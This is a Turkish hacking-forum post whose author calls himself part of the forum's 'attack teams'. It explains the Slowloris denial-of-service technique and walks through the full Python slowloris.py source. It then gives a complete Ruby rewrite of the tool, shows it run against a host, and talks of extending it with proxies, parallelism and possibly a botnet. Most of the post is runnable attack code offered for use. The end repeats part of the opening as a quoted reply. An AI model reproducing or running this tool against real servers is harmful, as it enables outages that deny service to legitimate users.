Slowloris'i Yeniden Kodlamak! #1

Bunjo

Uzman üye
14 Ara 2020
1,592
1,895
I Won
oqk18ir.png


c0sawob.png


lbn20fm.png
2q250vr.png


Merhabalar ben saldırı timlerinden Bunjo, bu konuda hemen hemen herkesin duyduğu slowloris aracının Python varyasyonunu yeniden Ruby ile kodlayacağız.
İlk öncelikle bu konuda dünyanın en hızlı en güçlü ddos programını yazmadığımı belirtmeliyim
ve herhangi bir iddiam da yoktur, sadece slowlorisi Ruby ile yazacağım.


Slowloris

iwxqmay.png


Slowloris, bir DDoS (Distributed Denial of Service) saldırı yöntemidir. Bu saldırı türü, bir web sunucusunu aşırı yüklemek ve hizmeti engellemek amacıyla kullanılır.
Slowloris saldırıları genellikle HTTP protokolünü hedef alır ve saldırganın bilgisayarından çok sayıda bağlantı oluşturarak sunucunun kaynaklarını tüketir.

Slowloris saldırısı, saldırganın bir hedef web sunucusuna çok sayıda bağlantı açarak her bağlantıyı açık tutmasıyla gerçekleşir. Bu bağlantılar genellikle tamamlanmamış HTTP istekleri içerir, bu da sunucunun kaynaklarını sürekli olarak kullanmasına neden olur. Sunucu, bu yarı tamamlanmış bağlantılara yanıt vermek için beklemeye devam ettiği sürece, gerçek ve meşru istemcilere hizmet verme yeteneği azalır.

Slowloris saldırıları genellikle düşük bant genişliği kullanarak ve izlemesi zor olacak şekilde yapıldığından, bu tür saldırıları tespit etmek ve engellemek zor olabilir.
Web sunucularının güvenliği için bu tür saldırılara karşı koruma önlemleri alınmalıdır.

DDoS, DoS, Slowloris gibi saldırılar için detaylı bilgi almak isterseniz okuyabilirsiniz. Kaynak



slowloris.py İncelenmesi

Slowloris'in Python varyasyonuna ulaşmak için: slowloris.py: Github

Loglama, Socket ve User-Agent kullanmayla alakalı konularım olduğu için tekrara girmedim.


CoffeeScript:
https://www.turkhackteam.org/konular/socket-programlama.2052616/

https://www.turkhackteam.org/konular/log-tutmak-loglama-islemleri.2052282/

https://www.turkhackteam.org/konular/python-ile-user-agent-kullanarak-istek-yollamak.2052068/

okuyabilirsiniz.

Fazla detaylara girmeden kodu açıklayayım

Bu bir Unix/Linux tabanlı işletim sistemi üzerinde çalıştırılacak bir Python betiği (script) başlangıcında bulunan bir shebang (sha-bang) ifadesidir. Kısaca Python ile yazmış olduğunuz programınızın hangi yorumlayıcı ile çalıştırılacağını belirtir.

Python:
#!/usr/bin/env python3

Burada "import" ile kullanılacak kütüphaneler içeriye aktarılmıştır.


Python:
import argparse
import logging
import random
import socket
import sys
import time

argparse: Komut satırı argümanlarını analiz etmek için kullanılır. Betik, komut satırından gelen argümanları işlemek ve bu argümanlara dayalı olarak belirli davranışları uygulamak için argparse kütüphanesini kullanır.

logging: Loglama (günlük tutma) işlemleri için kullanılır. Bu kütüphane, betikin çalışma zamanında çeşitli log mesajlarını göndererek bilgi sağlar. Log seviyeleri, betiğin ne kadar detaylı bir çıktı üreteceğini belirler.

random: Rastgele sayılar üretmek ve rastgele seçimler yapmak için kullanılır. Bu betikte, kullanıcı aracılığıyla belirtilen sayıda soket oluştururken rastgele seçimler yapmak amacıyla kullanılabilir.
socket: Ağ programlaması için kullanılan bir kütüphanedir. Bu betik, web sunucusuna karşı Slowloris saldırısını gerçekleştirmek için soketler aracılığıyla bağlantılar kurar ve yönetir.

sys: Python yürütme ortamı ve işletim sistemi ile ilgili işlemleri kontrol etmek için kullanılır. Bu betikte, betikin çalıştırıldığı komut satırı argümanlarını kontrol etmek ve bazı durumlarda betiği sonlandırmak için kullanılabilir.

time: Zaman ile ilgili işlemleri gerçekleştirmek için kullanılır. Bu betikte, belirli bir süre boyunca beklemek amacıyla kullanılabilir.

Parametre çubuğu belirtilmeden "host" değeri kullanıcıdan alınmış

Python:
parser.add_argument("host", nargs="?", help="Host to perform stress test on")

-p, --port ile kullanıcıdan port değeri alınmış.


Python:
parser.add_argument(
    "-p", "--port", default=80, help="Port of webserver, usually 80", type=int
)

-s, --sockets ile atılacak socket sayısı değeri kullanıcıdan alınmış.

Python:
parser.add_argument(
    "-s",
    "--sockets",
    default=150,
    help="Number of sockets to use in the test",
    type=int,
)

-v, --verbose ile ekrana istekler hakkında çıktı verilmesi söylenmiş.

Python:
parser.add_argument(
    "-v",
    "--verbose",
    dest="verbose",
    action="store_true",
    help="Increases logging",
)

-ua, --randomuseragent ile istek atılacak tarayıcının random olup olmaması kullanıcıya sorulmuş.


Python:
parser.add_argument(
    "-ua",
    "--randuseragents",
    dest="randuseragent",
    action="store_true",
    help="Randomizes user-agents with each request",
)

-x, --useproxy komutu ile kullanıcıya proxy kullanılıp kullanılmayacağı sorulmuş.


Python:
parser.add_argument(
    "-x",
    "--useproxy",
    dest="useproxy",
    action="store_true",
    help="Use a SOCKS5 proxy for connecting",
)

kullanıcıdan proxy için kullanacağı host ve port değeri alınmış.

Python:
parser.add_argument(
    "--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)
parser.add_argument(
    "--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
)

https kullanılması ve istek sorunları için bekleme süresi.

Python:
parser.add_argument(
    "--https",
    dest="https",
    action="store_true",
    help="Use HTTPS for the requests",
)
parser.add_argument(
    "--sleeptime",
    dest="sleeptime",
    default=15,
    type=int,
    help="Time to sleep between each header sent.",
)

kullanıcı girmemesi durumunda default değerler ayarlanmış ve parser bitirlip değerler alınmış.

Python:
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()

eğer parserde host eksikse veya hiç değer girilmemişte gerekli çıktılar verilmiş.

Python:
if len(sys.argv) <= 1:
    parser.print_help()
    sys.exit(1)

if not args.host:
    print("Host required!")
    parser.print_help()
    sys.exit(1)

proxy kullanılacağı durumda socket tanımlaması yapılmış.

bu kısımda kullanıcının girdiği proxy host ve proxy port değerlerine bir proxy socketi oluşturulmuş.


Rich (BB code):
 socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
        )

Python:
if args.useproxy:
    # Tries to import to external "socks" library
    # and monkey patches socket.socket to connect over
    # the proxy by default
    try:
        import socks

        socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
        )
        socket.socket = socks.socksocket
        logging.info("Using SOCKS5 proxy for connecting...")
    except ImportError:
        logging.error("Socks Proxy Library Not Available!")
        sys.exit(1)

logging.basicConfig(
    format="[%(asctime)s] %(message)s",
    datefmt="%d-%m-%Y %H:%M:%S",
    level=logging.DEBUG if args.verbose else logging.INFO,
)

send_line(self, line): Bu fonksiyon, verilen line parametresini alır, sonuna bir satır sonu ekler (\r\n) ve ardından UTF-8 encoding ile byte dizisine çevirip soket üzerinden gönderir. Bu, HTTP başlıklarını göndermede kullanılır.

send_header(self, name, value): Bu fonksiyon, verilen name ve value parametreleriyle bir başlık oluşturur ve send_line fonksiyonunu kullanarak bu başlığı soket üzerinden gönderir.


Python:
def send_line(self, line):
    line = f"{line}\r\n"
    self.send(line.encode("utf-8"))

def send_header(self, name, value):
    self.send_line(f"{name}: {value}")

args.https değeri True ise (kullanıcı HTTPS kullanma seçeneğini belirtmişse), HTTPS desteği etkinleştirilir.

Python:
if args.https:

ssl kütüphanesi içe aktarılır. Bu kütüphane, güvenli iletişim sağlamak için kullanılan bir protokol olan SSL/TLS (Transport Layer Security) üzerine inşa edilmiştir.

Python:
logging.info("Importing ssl module")
import ssl

setattr fonksiyonu kullanılarak, ssl.SSLSocket sınıfına özel send_line ve send_header fonksiyonları eklenir.

ssl.SSLSocket sınıfı, normal socket sınıfından türetilmiş bir alt sınıftır ve SSL/TLS bağlantıları için özelleştirilmiştir.

Bu özel fonksiyonlar, daha önce tanımlanan send_line ve send_header fonksiyonlarıdır. Bu fonksiyonlar, HTTP başlıklarını ve satırlarını uygun formatta göndermek için kullanılır.


Python:
setattr(ssl.SSLSocket, "send_line", send_line)
setattr(ssl.SSLSocket, "send_header", send_header)

user-agent ve socket listesi tanımlaması.

Python:
list_of_sockets = []
user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

setattr(socket.socket, "send_line", send_line)
setattr(socket.socket, "send_header", send_header)

bu kısımda kısaca socket oluşturuluyor ve önceden anlattığım kodda tanımlı özel fonksiyonlar ile istek atılıyor.

Python:
def init_socket(ip: str):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)

    if args.https:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = ctx.wrap_socket(s, server_hostname=args.host)

    s.connect((ip, args.port))

    s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")

    ua = user_agents[0]
    if args.randuseragent:
        ua = random.choice(user_agents)

    s.send_header("User-Agent", ua)
    s.send_header("Accept-language", "en-US,en,q=0.5")
    return s

kullanıcının girdiği socket sayısını özel fonksiyonlara gönderen kısım.


Python:
def slowloris_iteration():
    logging.info("Sending keep-alive headers...")
    logging.info("Socket count: %s", len(list_of_sockets))

    # Try to send a header line to each socket
    for s in list(list_of_sockets):
        try:
            s.send_header("X-a", random.randint(1, 5000))
        except socket.error:
            list_of_sockets.remove(s)

    # Some of the sockets may have been closed due to errors or timeouts.
    # Re-create new sockets to replace them until we reach the desired number.

    diff = args.sockets - len(list_of_sockets)
    if diff <= 0:
        return

    logging.info("Creating %s new sockets...", diff)
    for _ in range(diff):
        try:
            s = init_socket(args.host)
            if not s:
                continue
            list_of_sockets.append(s)
        except socket.error as e:
            logging.debug("Failed to create new socket: %s", e)
            break

programı başlatmak için ana kısım.

Python:
def main():
    ip = args.host
    socket_count = args.sockets
    logging.info("Attacking %s with %s sockets.", ip, socket_count)

    logging.info("Creating sockets...")
    for _ in range(socket_count):
        try:
            logging.debug("Creating socket nr %s", _)
            s = init_socket(ip)
        except socket.error as e:
            logging.debug(e)
            break
        list_of_sockets.append(s)

    while True:
        try:
            slowloris_iteration()
        except (KeyboardInterrupt, SystemExit):
            logging.info("Stopping Slowloris")
            break
        except Exception as e:
            logging.debug("Error in Slowloris iteration: %s", e)
        logging.debug("Sleeping for %d seconds", args.sleeptime)
        time.sleep(args.sleeptime)


if __name__ == "__main__":
    main()

Tüm Kod:


Python:
#!/usr/bin/env python3
import argparse
import logging
import random
import socket
import sys
import time

parser = argparse.ArgumentParser(
    description="Slowloris, low bandwidth stress test tool for websites"
)
parser.add_argument("host", nargs="?", help="Host to perform stress test on")
parser.add_argument(
    "-p", "--port", default=80, help="Port of webserver, usually 80", type=int
)
parser.add_argument(
    "-s",
    "--sockets",
    default=150,
    help="Number of sockets to use in the test",
    type=int,
)
parser.add_argument(
    "-v",
    "--verbose",
    dest="verbose",
    action="store_true",
    help="Increases logging",
)
parser.add_argument(
    "-ua",
    "--randuseragents",
    dest="randuseragent",
    action="store_true",
    help="Randomizes user-agents with each request",
)
parser.add_argument(
    "-x",
    "--useproxy",
    dest="useproxy",
    action="store_true",
    help="Use a SOCKS5 proxy for connecting",
)
parser.add_argument(
    "--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)
parser.add_argument(
    "--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
)
parser.add_argument(
    "--https",
    dest="https",
    action="store_true",
    help="Use HTTPS for the requests",
)
parser.add_argument(
    "--sleeptime",
    dest="sleeptime",
    default=15,
    type=int,
    help="Time to sleep between each header sent.",
)
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()

if len(sys.argv) <= 1:
    parser.print_help()
    sys.exit(1)

if not args.host:
    print("Host required!")
    parser.print_help()
    sys.exit(1)

if args.useproxy:
    # Tries to import to external "socks" library
    # and monkey patches socket.socket to connect over
    # the proxy by default
    try:
        import socks

        socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
        )
        socket.socket = socks.socksocket
        logging.info("Using SOCKS5 proxy for connecting...")
    except ImportError:
        logging.error("Socks Proxy Library Not Available!")
        sys.exit(1)

logging.basicConfig(
    format="[%(asctime)s] %(message)s",
    datefmt="%d-%m-%Y %H:%M:%S",
    level=logging.DEBUG if args.verbose else logging.INFO,
)


def send_line(self, line):
    line = f"{line}\r\n"
    self.send(line.encode("utf-8"))


def send_header(self, name, value):
    self.send_line(f"{name}: {value}")


if args.https:
    logging.info("Importing ssl module")
    import ssl

    setattr(ssl.SSLSocket, "send_line", send_line)
    setattr(ssl.SSLSocket, "send_header", send_header)

list_of_sockets = []
user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

setattr(socket.socket, "send_line", send_line)
setattr(socket.socket, "send_header", send_header)


def init_socket(ip: str):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)

    if args.https:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = ctx.wrap_socket(s, server_hostname=args.host)

    s.connect((ip, args.port))

    s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")

    ua = user_agents[0]
    if args.randuseragent:
        ua = random.choice(user_agents)

    s.send_header("User-Agent", ua)
    s.send_header("Accept-language", "en-US,en,q=0.5")
    return s


def slowloris_iteration():
    logging.info("Sending keep-alive headers...")
    logging.info("Socket count: %s", len(list_of_sockets))

    # Try to send a header line to each socket
    for s in list(list_of_sockets):
        try:
            s.send_header("X-a", random.randint(1, 5000))
        except socket.error:
            list_of_sockets.remove(s)

    # Some of the sockets may have been closed due to errors or timeouts.
    # Re-create new sockets to replace them until we reach the desired number.

    diff = args.sockets - len(list_of_sockets)
    if diff <= 0:
        return

    logging.info("Creating %s new sockets...", diff)
    for _ in range(diff):
        try:
            s = init_socket(args.host)
            if not s:
                continue
            list_of_sockets.append(s)
        except socket.error as e:
            logging.debug("Failed to create new socket: %s", e)
            break


def main():
    ip = args.host
    socket_count = args.sockets
    logging.info("Attacking %s with %s sockets.", ip, socket_count)

    logging.info("Creating sockets...")
    for _ in range(socket_count):
        try:
            logging.debug("Creating socket nr %s", _)
            s = init_socket(ip)
        except socket.error as e:
            logging.debug(e)
            break
        list_of_sockets.append(s)

    while True:
        try:
            slowloris_iteration()
        except (KeyboardInterrupt, SystemExit):
            logging.info("Stopping Slowloris")
            break
        except Exception as e:
            logging.debug("Error in Slowloris iteration: %s", e)
        logging.debug("Sleeping for %d seconds", args.sleeptime)
        time.sleep(args.sleeptime)


if __name__ == "__main__":
    main()

Hatalarım olabilir, "kısaca" programı açıkladım. Kafanızda bir şeyler canlanmıştır.



Ruby İle Slowloris Kodlanması

Yukarıda bulunan kod düzenine uyarak bir kodlama yapacağız.
Bu serinin ilk konusu olduğu için ekstra detaylara bu konuda girmeyeceğim.

shebang satırını yazalım.

Ruby:
#!/usr/bin/env ruby

çıktı renklendirmesi için bir sınıf tanımlayalım.


Ruby:
class String
  def red; "\e[31m#{self}\e[0m" end
  def green; "\e[32m#{self}\e[0m" end
  def yellow; "\e[33m#{self}\e[0m" end
  def blue; "\e[34m#{self}\e[0m" end
  def magenta; "\e[35m#{self}\e[0m" end
  def cyan; "\e[36m#{self}\e[0m" end
end

Slowloris isimli sınıfımızı oluşturalım ve içine user-agentler ekleyelim.

Ruby:
class Slowloris
  def initialize
    require 'socket'

    @user_agents = [
      "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
    ]

default parametreler için hash.

Ruby:
@parameters = {
      host: nil,
      socket_count: 150,
      sleep_time: 15,
      port: 80,
      sockets: []
    }
  end

socket oluşturma fonksiyonu.

Ruby:
def initialize_socket(host, port)
    socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
    socket_addr = Socket.pack_sockaddr_in(port, host)
    socket.connect(socket_addr)

    socket.write("GET /?#{rand(2250)} HTTP/1.1\r\n".encode("utf-8"))
  
    @user_agents.each { |header|
      socket.write("#{header}\r\n".encode("utf-8"))
    }

    return socket
  end

yardım için yazı.

Ruby:
def print_help
    help_text = <<-'HELP_TEXT'
Usage: ruby slowloris.rb [options]

Options:
-h, --host: Set host.
-s, --socket_count: Set socket count.
-H, --help: Print this text.
-p, --port: Set port.
-t, --sleep_time: Sleep time when an error is received during the request.
HELP_TEXT
  
    $stdout.puts(help_text.red)
  end

parserimizi tanımlayalım.

Ruby:
 def option_parser
    require 'optparse'

    OptionParser.new do |opts|
      opts.on("-H", "--help", "Prints help text.") do
        print_help()
        exit(0)
      end

      opts.on("-t", "--sleep-time SLEEP_TIME", Integer, "Set sleep time.") do |sleep_time|
        @parameters[:sleep_time] = sleep_time
      end

      opts.on("-h", "--host HOST", "Set host.") do |host|
        @parameters[:host] = host
      end

      opts.on("-p", "--port PORT", Integer, "Set port.") do |port|
        @parameters[:port] = port
      end

      opts.on("-s", "--socket_count SOCKET_COUNT", Integer, "Set socket count value.") do |socket_count|
        @parameters[:socket_count] = socket_count
      end
    end.parse!
  end

döngüyü oluşturan ana fonksiyon.

Ruby:
def start
    option_parser()

    if @parameters[:host]
      $stdout.puts("Attacking #{@parameters[:host]} with #{@parameters[:socket_count]} sockets.".magenta)
      $stdout.puts("Creating sockets...".blue)

      while true
        @parameters[:socket_count].times do
          begin
            socket = initialize_socket(@parameters[:host], @parameters[:port])
            @parameters[:sockets] << socket
          rescue
            break
          rescue Interrupt
            exit(0)
          end
        end

        $stdout.puts("Sending keep-alive headers... Socket count: #{@parameters[:sockets].size}")

        (1..(@parameters[:socket_count] - @parameters[:sockets].size)).each do
          $stdout.puts("Recreating socket...")
          begin
            socket = initialize_socket(@parameters[:host], @parameters[:port])
            @parameters[:sockets] << socket if socket
          rescue
            break
          end
        end

        sleep(@parameters[:sleep_time])
      end
    else
      $stdout.puts("Please set a host.".cyan)
      print_help()
      exit(0)
    end
  end
end

slowloris = Slowloris.new()
slowloris.start()

Projenin Github sayfası:

Kod:
 https://github.com/thebunjo/Slowloris-Ruby/tree/main

Kullanım:

Yardım sayfası için "-H" parametresini kullanabilirsiniz.


nhy03uo.png


"example.com" için DoS.

"-h" parametresi ile hedefi belirtebilirsiniz.

kfdp4bm.png


Trafik analizi:


ej1h13k.png



Yeni konularda paralel programlama ve proxy desteği de eklediğimiz zaman çok kuvvettli bir DDoS aracına dönüşür. Yakın zamanda istekleri düzenler ve gerekli eklemeleri yapar yeni konusu açarım belki de bir botnet programına bile dönüştürebilirim bilemiyorum.

Slowloris programının ne kadar işe yaradığı size kalmakla beraber konuyu okuduğunuz için teşekkür ederim.

Hatalarım olabilir, nazik
üslup ile bildirirseniz sevinirim.

İyi forumlar.
 
Son düzenleme:
7 Kas 2021
65
87
24
Berlin
oqk18ir.png


c0sawob.png


lbn20fm.png
2q250vr.png


Merhabalar ben saldırı timlerinden Bunjo, bu konuda hemen hemen herkesin duyduğu slowloris aracının Python varyasyonunu yeniden Ruby ile kodlayacağız.
İlk öncelikle bu konuda dünyanın en hızlı en güçlü ddos programını yazmadığımı belirtmeliyim
ve herhangi bir iddiam da yoktur, sadece slowlorisi Ruby ile yazacağım.


Slowloris

iwxqmay.png


